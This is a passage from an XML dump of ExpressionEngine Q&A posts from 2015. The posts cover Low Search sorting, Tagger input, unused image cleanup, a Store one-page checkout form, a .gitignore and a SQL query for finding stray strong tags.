query=&quot;{segment_3}&quot; limit=&quot;36&quot;}&quot;&amp;gt;36&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;{exp:low_search:url query=&quot;{segment_3}&quot; limit=&quot;48&quot;}&quot;&amp;gt;48&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;{exp:low_search:url query=&quot;{segment_3}&quot; limit=&quot;500&quot;}&quot;&amp;gt;All&amp;lt;/option&amp;gt;&#xA; &amp;lt;/select&amp;gt;&#xA; ...search results here...&#xA;{/exp:low_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this is the tag on a page that uses a Shortcut, for example: &lt;a href=&quot;http://movingmo.nextmp.net/luxury-rental-homes/condos-residences&quot; rel=&quot;nofollow&quot;&gt;http://movingmo.nextmp.net/luxury-rental-homes/condos-residences&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results&#xA;  shortcut=&quot;condos-residences&quot;&#xA;  site=&quot;foo&quot;&#xA;  collection=&quot;bar&quot;&#xA;}&#xA; &amp;lt;label class=&quot;left inline&quot; for=&quot;orderby_sort&quot;&amp;gt;Sort by:&amp;lt;/label&amp;gt;&#xA; &amp;lt;select name=&quot;orderby_sort&quot; class=&quot;sort&quot; id=&quot;orderby_sort&quot; onchange=&quot;location = this.options[this.selectedIndex].value;&quot;&amp;gt;&#xA;  &amp;lt;option value=&quot;&quot;&amp;gt;---&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;{exp:low_search:url shortcut=&quot;condos-residences&quot; orderby_sort=&quot;bedroomCount|asc&quot;}&quot;&amp;gt;Bedrooms - Low to High&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;{exp:low_search:url shortcut=&quot;condos-residences&quot; orderby_sort=&quot;bedroomCount|desc&quot;}&quot;&amp;gt;Bedrooms - High to Low&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;{exp:low_search:url shortcut=&quot;condos-residences&quot; orderby_sort=&quot;maxGuestCount|asc&quot;}&quot;&amp;gt;Sleeps - Low to High&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;{exp:low_search:url shortcut=&quot;condos-residences&quot; orderby_sort=&quot;maxGuestCount|desc&quot;}&quot;&amp;gt;Sleeps - High to Low&amp;lt;/option&amp;gt;&#xA; &amp;lt;/select&amp;gt;&#xA; &amp;lt;label class=&quot;left inline&quot; for=&quot;limit&quot;&amp;gt;Homes per page:&amp;lt;/label&amp;gt;&#xA; &amp;lt;select name=&quot;limit&quot; class=&quot;limit&quot; id=&quot;limit&quot; onchange=&quot;location = this.options[this.selectedIndex].value;&quot;&amp;gt;&#xA;  &amp;lt;option value=&quot;&quot;&amp;gt;---&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;{exp:low_search:url shortcut=&quot;condos-residences&quot; limit=&quot;12&quot;}&quot;&amp;gt;12&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;{exp:low_search:url shortcut=&quot;condos-residences&quot; limit=&quot;24&quot;}&quot;&amp;gt;24&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;{exp:low_search:url shortcut=&quot;condos-residences&quot; limit=&quot;36&quot;}&quot;&amp;gt;36&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;{exp:low_search:url shortcut=&quot;condos-residences&quot; limit=&quot;48&quot;}&quot;&amp;gt;48&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;{exp:low_search:url shortcut=&quot;condos-residences&quot; limit=&quot;500&quot;}&quot;&amp;gt;All&amp;lt;/option&amp;gt;&#xA; &amp;lt;/select&amp;gt;&#xA;...search results from shortcut here...&#xA;{/exp:low_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I thought changing the query parameter to a shortcut parameter would work but no luck. I also tried adding a result_page parameter but that didn't work either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing a parameter on my tag somewhere? Is it not possible to sort this way with a Shortcut?&lt;/p&gt;&#xA;" OwnerUserId="6070" LastActivityDate="2015-10-23T18:31:54.483" Title="Sorting a Low Search Shortcut" Tags="|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34497" PostTypeId="2" ParentId="34496" CreationDate="2015-10-23T18:31:54.483" Score="1" Body="&lt;p&gt;When you amend a shortcut by overwriting or adding other parameters, you end up with a new query. You then have to pass that query on to the Results tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, try adding &lt;code&gt;query=&quot;{segment_3}&quot;&lt;/code&gt; to the second Results tag. If &lt;code&gt;segment_3&lt;/code&gt; can both contain a shortcut name and an encoded query, you can use &lt;code&gt;query=&quot;{segment_3}&quot; shortcut=&quot;{segment_3}&quot;&lt;/code&gt; and the shortcut will be displayed if it is valid, otherwise the encoded query will be displayed.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-10-23T18:31:54.483" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34499" PostTypeId="1" CreationDate="2015-10-23T19:06:13.203" Score="0" ViewCount="23" Body="&lt;p&gt;I'm using an API to pre-populate EE entry forms, and one of the fields is a Tagger field. How do I take my comma-separated string of plain-text tags and turn the into something the Tagger field will accept?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know Tagger has an Import feature, but I'd love to able to do this at the entry level, instead of having to go in and process tags manually each time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, is there another tagging add-on that will allow this?&lt;/p&gt;&#xA;" OwnerUserId="453" LastActivityDate="2016-03-25T19:10:07.270" Title="Tagger and Channel Forms — import from simple text field?" Tags="|devdemon-tagger|tagger|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34500" PostTypeId="2" ParentId="34499" CreationDate="2015-10-23T19:30:43.937" Score="0" Body="&lt;p&gt;Never mind! I figured it out. When creating a new entry, use this field, instead of calling the proper Tagger field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input name=&quot;gallery_location[single_field]&quot; type=&quot;text&quot; value=&quot;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then use double pipes to separate your values, and Tagger will accept the submission.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input name=&quot;gallery_location[single_field]&quot; type=&quot;text&quot; value=&quot;New York||Amsterdam&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="453" LastActivityDate="2015-10-23T19:30:43.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34501" PostTypeId="1" CreationDate="2015-10-24T10:15:07.317" Score="0" ViewCount="43" Body="&lt;p&gt;As you will know, when deleting an entry with images, the images aren't deleted from the server. This is one aspect of Expression Engine that I really do not care for: The inexorable build up of redundant files in the system, with- as far as I can tell- absolutely no way of knowing which images are assigned to a channel entry. (Wouldn't it be nice if there were a little display next to each file on the file manager screen telling you which files were assigned to entries..). &lt;a href=&quot;https://ellislab.com/forums/viewthread/207130/#964381&quot; rel=&quot;nofollow&quot;&gt;Here is a post from 2011&lt;/a&gt; with people bemoaning the same issue, and a (great!) feature request which is now a dead link, so presumably met a dead end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how do others deal with this problem? How can I keep my image directory clean? and since I have NEVER, in all the sites I have built with EE, had a situation where one image needs to be re-used for more than one entry, I would MUCH prefer a method of locking images permanently to whatever entry they are assigned to. Is this beyond the bounds of Expression Engine?&lt;/p&gt;&#xA;" OwnerUserId="6764" LastActivityDate="2015-10-24T15:59:22.393" Title="Best way to tie images to entries?" Tags="|image|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34502" PostTypeId="2" ParentId="34501" CreationDate="2015-10-24T15:59:22.393" Score="1" Body="&lt;p&gt;Images attached to entries via a File field in ExpressionEngine aren't treated as relationships (unlike, say, Assets fields). They simply hold a text value like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{filedir_X}filename.jpg&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's not the most robust approach, but it's simple and low-overhead. But it also makes deleting images associated with an entry (but only if they're not in use in other entries) much trickier. Doable, but a pain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd have to write an extension which taps into the &lt;code&gt;delete_entries_loop&lt;/code&gt; hook to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Find all File fields in that entry&lt;/li&gt;&#xA;&lt;li&gt;Search all other File fields in the database for that matching value&lt;/li&gt;&#xA;&lt;li&gt;If no matching values are found, parse the value of that file field to locate the image in the database&lt;/li&gt;&#xA;&lt;li&gt;Delete it (from the database and on-disk) using the File library&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;However, while you may feel that the use case of multiple entries using a single image file is a rare one, I actually see this all the time. On the flip side, to me, a site which frequently deletes entries (and thus would have a build-up of unused images) is something that is &lt;em&gt;incredibly&lt;/em&gt; rare.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, use cases are in the eye of the beholder. Personally I don't see this feature making it's way into EE myself, but you could always file a feature request by emailing &lt;a href=&quot;http://mailto:team@ellislab.com&quot; rel=&quot;nofollow&quot;&gt;team@ellislab.com&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-10-24T15:59:22.393" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34504" PostTypeId="1" CreationDate="2015-10-25T12:42:54.347" Score="0" ViewCount="43" Body="&lt;p&gt;I'm having an issue with the checkout tag. If I use it and split the billing address and credit card information on two different templates/pages, then it works, but when I combine them into the same template I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The store.payment field is required&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hoping someone can point out what I'm missing or doing wrong.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout&#xA;    form_class=&quot;form-horizontal&quot;&#xA;    return=&quot;store/order/ORDER_HASH&quot;&#xA;    require=&quot;billing_name|billing_address1|billing_state|billing_country|billing_postcode|order_email|payment&quot;}&#xA;&#xA;    {if no_items}&#xA;        {redirect=&quot;store/cart&quot;}&#xA;    {/if}&#xA;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;payment_method&quot; value=&quot;Stripe&quot; /&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;grid grid_noMargin&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;grid-col grid-col_6of12&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;                &amp;lt;label class=&quot;control-label&quot; for=&quot;billing_name&quot;&amp;gt;Name&amp;lt;/label&amp;gt;&#xA;                &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                    &amp;lt;input type=&quot;text&quot; name=&quot;billing_name&quot; id=&quot;billing_name&quot; value=&quot;{billing_name}&quot; class=&quot;form-control&quot; /&amp;gt;&#xA;                    {if error:billing_name}&#xA;                        &amp;lt;label for=&quot;billing_name&quot; class=&quot;error&quot;&amp;gt;{error:billing_name}&amp;lt;/label&amp;gt;&#xA;                    {/if}&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;grid-col grid-col_6of12&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;                &amp;lt;label class=&quot;control-label&quot; for=&quot;order_email&quot;&amp;gt;Email&amp;lt;/label&amp;gt;&#xA;                &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                    &amp;lt;input type=&quot;text&quot; name=&quot;order_email&quot; id=&quot;order_email&quot; value=&quot;{order_email}&quot; class=&quot;form-control&quot; /&amp;gt;&#xA;                    {if error:order_email}&#xA;                    &amp;lt;label for=&quot;order_email&quot; class=&quot;error&quot;&amp;gt;{error:order_email}&amp;lt;/label&amp;gt;&#xA;                    {/if}&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;grid grid_noMargin&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;grid-col grid-col_6of12&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;                &amp;lt;label class=&quot;control-label&quot; for=&quot;billing_address1&quot;&amp;gt;Address&amp;lt;/label&amp;gt;&#xA;                &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                    &amp;lt;input type=&quot;text&quot; name=&quot;billing_address1&quot; id=&quot;billing_address1&quot; value=&quot;{billing_address1}&quot; class=&quot;form-control&quot; /&amp;gt;&#xA;                    {if error:billing_address1}&#xA;                        &amp;lt;label for=&quot;billing_address1&quot; class=&quot;error&quot;&amp;gt;{error:billing_address1}&amp;lt;/label&amp;gt;&#xA;                    {/if}&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;grid-col grid-col_6of12&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;                &amp;lt;label class=&quot;control-label&quot; for=&quot;billing_address1&quot;&amp;gt;Address 2&amp;lt;/label&amp;gt;&#xA;                &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                    &amp;lt;input type=&quot;text&quot; name=&quot;billing_address2&quot; id=&quot;billing_address2&quot; value=&quot;{billing_address2}&quot; class=&quot;form-control&quot; /&amp;gt;&#xA;                    {if error:billing_address2}&#xA;                        &amp;lt;label for=&quot;billing_address2&quot; class=&quot;error&quot;&amp;gt;{error:billing_address2}&amp;lt;/label&amp;gt;&#xA;                    {/if}&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;grid grid_noMargin&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;grid-col grid-col_3of12&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;                &amp;lt;label class=&quot;control-label&quot; for=&quot;billing_city&quot;&amp;gt;City&amp;lt;/label&amp;gt;&#xA;                &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                    &amp;lt;input type=&quot;text&quot; name=&quot;billing_city&quot; id=&quot;billing_city&quot; value=&quot;{billing_city}&quot; class=&quot;form-control&quot; /&amp;gt;&#xA;                    {if error:billing_city}&#xA;                        &amp;lt;label for=&quot;billing_city&quot; class=&quot;error&quot;&amp;gt;{error:billing_city}&amp;lt;/label&amp;gt;&#xA;                    {/if}&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;grid-col grid-col_3of12&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;                &amp;lt;label class=&quot;control-label&quot; for=&quot;billing_postcode&quot;&amp;gt;Postcode&amp;lt;/label&amp;gt;&#xA;                &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                    &amp;lt;input type=&quot;text&quot; name=&quot;billing_postcode&quot; id=&quot;billing_postcode&quot; value=&quot;{billing_postcode}&quot; class=&quot;form-control&quot; /&amp;gt;&#xA;                    {if error:billing_postcode}&#xA;                        &amp;lt;label for=&quot;billing_postcode&quot; class=&quot;error&quot;&amp;gt;{error:billing_postcode}&amp;lt;/label&amp;gt;&#xA;                    {/if}&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;grid-col grid-col_3of12&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;                &amp;lt;label class=&quot;control-label&quot; for=&quot;billing_state&quot;&amp;gt;State&amp;lt;/label&amp;gt;&#xA;                &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                    &amp;lt;select name=&quot;billing_state&quot; id=&quot;billing_state&quot; class=&quot;form-control&quot;&amp;gt;&#xA;                        {billing_state_options}&#xA;                    &amp;lt;/select&amp;gt;&#xA;                    {if error:billing_state}&#xA;                        &amp;lt;label for=&quot;billing_state&quot; class=&quot;error&quot;&amp;gt;{error:billing_state}&amp;lt;/label&amp;gt;&#xA;                    {/if}&#xA;                    {error:billing_state}&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;grid-col grid-col_3of12&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;                &amp;lt;label class=&quot;control-label&quot; for=&quot;billing_country&quot;&amp;gt;Country&amp;lt;/label&amp;gt;&#xA;                &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                    &amp;lt;select name=&quot;billing_country&quot; id=&quot;billing_country&quot; class=&quot;form-control&quot;&amp;gt;&#xA;                        {billing_country_options}&#xA;                    &amp;lt;/select&amp;gt;&#xA;                    {if error:billing_country}&#xA;                    &amp;lt;label for=&quot;billing_country&quot; class=&quot;error&quot;&amp;gt;{error:billing_country}&amp;lt;/label&amp;gt;&#xA;                    {/if}&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;grid grid_noMargin verticalRhythm_md&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;grid-col grid-col_4of12&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;header&quot;&amp;gt;&#xA;                &amp;lt;h1&amp;gt;Payment&amp;lt;/h1&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;grid-col grid-col_6of12 grid-col_push2of12&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;header&quot;&amp;gt;&#xA;                &amp;lt;h1&amp;gt;Cart&amp;lt;/h1&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;grid&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;grid-col grid-col_5of12&quot;&amp;gt;&#xA;            {if error:payment_method}&#xA;                &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;alert alert-danger&quot;&amp;gt;{error:payment_method}&amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            {/if}&#xA;&#xA;            &amp;lt;p class=&quot;&quot;&amp;gt;&#xA;                We accept the following credit cards&#xA;            &amp;lt;/p&amp;gt;&#xA;            &amp;lt;img src=&quot;{site_url}assets/images/design/credit-cards/visa_32.png&quot; /&amp;gt;&#xA;            &amp;lt;img src=&quot;{site_url}assets/images/design/credit-cards/mastercard_32.png&quot; /&amp;gt;&#xA;            &amp;lt;img src=&quot;{site_url}assets/images/design/credit-cards/discover_32.png&quot; /&amp;gt;&#xA;            &amp;lt;img src=&quot;{site_url}assets/images/design/credit-cards/american_express_32.png&quot; /&amp;gt;&#xA;            &amp;lt;img src=&quot;{site_url}assets/images/design/credit-cards/diners_club_32.png&quot; /&amp;gt;&#xA;            &amp;lt;img src=&quot;{site_url}assets/images/design/credit-cards/jcb_32.png&quot; /&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;                &amp;lt;label class=&quot;control-label&quot; for=&quot;payment_card_no&quot;&amp;gt;Card Number&amp;lt;/label&amp;gt;&#xA;                &amp;lt;input type=&quot;text&quot; id=&quot;payment_card_no&quot; name=&quot;payment[card_no]&quot; value=&quot;&quot; class=&quot;form-control&quot; /&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;                &amp;lt;label class=&quot;control-label&quot; for=&quot;payment_name&quot;&amp;gt;Name as it appears on card&amp;lt;/label&amp;gt;&#xA;                &amp;lt;input type=&quot;text&quot; id=&quot;payment_name&quot; name=&quot;payment[name]&quot; value=&quot;&quot; class=&quot;form-control&quot; /&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;form-group grid grid_noMargin&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;controls grid-col grid-col_6of12&quot;&amp;gt;&#xA;                    &amp;lt;label class=&quot;control-label&quot; for=&quot;payment_exp_month&quot;&amp;gt;Expiration&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;select id=&quot;payment_exp_month&quot; name=&quot;payment[exp_month]&quot; class=&quot;form-control&quot;&amp;gt;&#xA;                        &amp;lt;option value=&quot;&quot;&amp;gt;Month&amp;lt;/option&amp;gt;&#xA;                        {exp_month_options}&#xA;                    &amp;lt;/select&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;controls grid-col grid-col_6of12&quot;&amp;gt;&#xA;                    &amp;lt;label class=&quot;control-label&quot; for=&quot;payment_exp_month&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;select id=&quot;payment_exp_year&quot; name=&quot;payment[exp_year]&quot; class=&quot;form-control&quot;&amp;gt;&#xA;                        &amp;lt;option value=&quot;&quot;&amp;gt;Year&amp;lt;/option&amp;gt;&#xA;                        {exp_year_options}&#xA;                    &amp;lt;/select&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;                &amp;lt;label class=&quot;control-label&quot; for=&quot;payment_csc&quot;&amp;gt;CSC&amp;lt;/label&amp;gt;&#xA;                &amp;lt;input type=&quot;text&quot; id=&quot;payment_csc&quot; name=&quot;payment[csc]&quot; value=&quot;&quot; class=&quot;form-control&quot; /&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;grid-col grid-col_6of12 grid-col_push1of12&quot;&amp;gt;&#xA;            {if no_items}&#xA;                &amp;lt;p&amp;gt;Your cart is empty!&amp;lt;/p&amp;gt;&#xA;            {/if}&#xA;            &amp;lt;table class=&quot;table table-condensed&quot;&amp;gt;&#xA;                {items}&#xA;                    &amp;lt;tr&amp;gt;&#xA;                        &amp;lt;td&amp;gt;{item_qty} &amp;amp;times; {title}&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td style=&quot;text-align:right&quot;&amp;gt;{item_subtotal}&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;/tr&amp;gt;&#xA;                {/items}&#xA;                &amp;lt;tr&amp;gt;&#xA;                    &amp;lt;th&amp;gt;Total&amp;lt;/th&amp;gt;&#xA;                    &amp;lt;th style=&quot;text-align:right&quot;&amp;gt;{order_subtotal}&amp;lt;/th&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;            &amp;lt;/table&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;form-actions verticalRhythm_sm&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;{path='store/cart'}&quot; class=&quot;btn btn-default&quot;&amp;gt;Back&amp;lt;/a&amp;gt;&#xA;        &amp;lt;input type=&quot;submit&quot; name=&quot;next&quot; value=&quot;Place Order ({order_subtotal})&quot; class=&quot;btn btn-primary&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;{/exp:store:checkout}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="82" LastActivityDate="2015-10-25T21:56:33.817" Title="Store: One page checkout not working" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34507" PostTypeId="2" ParentId="34504" CreationDate="2015-10-25T21:56:33.817" Score="1" Body="&lt;p&gt;Figured it out. The submit button needed to have the name=&quot;submit&quot;, not name=&quot;next&quot;. Per the docs submit will trigger the last step and process the payment. I also had &quot;payment&quot; as an option in the require parameter on the checkout tag, which isn't required for the validation to occur (since its handled by the payment processor.&lt;/p&gt;&#xA;" OwnerUserId="82" LastActivityDate="2015-10-25T21:56:33.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34508" PostTypeId="1" CreationDate="2015-10-26T10:52:02.313" Score="3" ViewCount="258" Body="&lt;p&gt;How are everyones .gitignore files looking in the latest iteration of EE? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mine .gitignore is included below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anymore secret data / files that should not be in the repo?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Capistrano&#xA;config&#xA;capfile&#xA;&#xA;# Cache&#xA;system/user/cache/*&#xA;&#xA;# Settings&#xA;system/user/config/*&#xA;&#xA;#Images&#xA;images/avatars/*&#xA;!images/avatars/index.html&#xA;images/captchas/*&#xA;!images/captchas/index.html&#xA;images/forum_attatchments/*&#xA;images/forum_attatchments/index.html&#xA;images/member_photos/*&#xA;!images/member_photos/index.html&#xA;images/signature_attatchments/*&#xA;!images/signature_attatchments/index.html&#xA;images/smileys/*&#xA;!images/smileys/index.html&#xA;images/uploads/*&#xA;!images/uploads/index.html&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;Update 09/11/15&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Added cache above due to tip from @seavers&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditDate="2015-11-09T11:44:50.920" LastActivityDate="2015-11-09T15:17:48.473" Title="ExpressionEngine 3 .gitignore" Tags="|.gitignore|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34509" PostTypeId="1" CreationDate="2015-10-26T13:02:56.513" Score="0" ViewCount="25" Body="&lt;p&gt;Over the weekend, one of my sites has &quot;strong&quot; tags inserted everywhere.  I checked the templates, they are the same.  Any idea how they could have gotten in there?&lt;/p&gt;&#xA;" OwnerUserId="6306" LastActivityDate="2016-05-18T12:17:23.803" Title="Strong Tags inserted into Expression Engine" Tags="|templates|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="34512" PostTypeId="1" CreationDate="2015-10-26T14:48:10.513" Score="0" ViewCount="119" Body="&lt;p&gt;I wanted to use geofinder to do a simple distance sorted search, but it looks like it's no longer compatible with EE 2.10.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I wanted to see if I could use low search to produce the same results. I have a search box in which I ask visitors to enter their postcode(uk)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can then use the gmaps plugin to geocode that postcode into latlng values (and save as stash vars). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally it would be great if I could pass in those latlng values to the low_search:results tag as parameters, rather than posting them as hidden inputs with the search (as I don't have the values until the results page).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does that make sense, and is there any way of doing it with low_search?&lt;/p&gt;&#xA;" OwnerUserId="871" LastActivityDate="2016-06-12T01:18:28.717" Title="Low search distance filter as results parameter?" Tags="|low-search|geofinder|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34513" PostTypeId="2" ParentId="34509" CreationDate="2015-10-26T14:55:22.433" Score="0" Body="&lt;p&gt;It sounds like you have some content wackery (just made that word up, I'm proud of myself!) going on. The content that gets rendered inside of a channel entries loop lives inside of a database table called &lt;code&gt;exp_channel_data&lt;/code&gt;. When you call a channel entries loop, the rendered content comes from the database, and this is content that is generally editable by users who maintain your site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most likely what happened is someone went in to their control panel, and erroneously added &lt;code&gt;&amp;lt;strong&amp;gt;&lt;/code&gt; tags in a bunch of places. Look over your channel entries to see if it's happened in more than one place. If you have a site with a lot of pages, you can search for instances of this tag with a MySQL query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT * FROM my_schema.exp_channel_data &#xA;    WHERE field_id_666 LIKE &quot;%&amp;lt;strong&amp;gt;%&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just change &lt;code&gt;field_id_#&lt;/code&gt; to whatever your main content field id is (usually a field that gets called &quot;Body&quot; or &quot;Main Content&quot;), and you can do bigger searches to look for channel entries. If you have a small amount of entries, it's probably easiest to just use the Control Panel to investigate this data.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-10-26T14:55:22.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
